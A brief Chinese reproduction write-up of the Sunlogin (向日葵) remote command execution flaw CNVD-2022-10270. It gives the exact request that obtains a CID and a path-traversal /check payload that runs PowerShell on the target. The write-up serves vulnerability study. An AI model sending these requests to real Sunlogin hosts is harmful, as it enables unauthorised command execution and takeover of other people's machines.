向日葵远程代码执行漏洞(CNVD-2022-10270)

漏洞描述

向日葵通过发送特定的请求获取CID后,可调用 check接口实现远程命令执行,导致服务器权限被获取。

影响版本

漏洞复现

向日葵开启后会默认在4000-65535之间开启某个端口

1679820583875-6d7b4e9b-5387-4cf5-a2e6-88ddcde3bacd.png

发送请求获取CID

/cgi-bin/rpc?action=verify-haras

1679820640646-5c60754e-fc3f-407f-9f0f-882daffc1ac8.png

使用获取到的 verify_string 作为 cookie的 CID字段,进行命令执行

/check?cmd=ping..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fwindows%2Fsystem32%2FWindowsPowerShell%2Fv1.0%2Fpowershell.exe+ipconfig

1679820683541-36b5acf8-87ff-466c-aa76-1b3ea94f802c.png

更新: 2024-02-29 23:58:31
原文: https://www.yuque.com/xiaokp7/ocvun2/re22tknn48ckod6v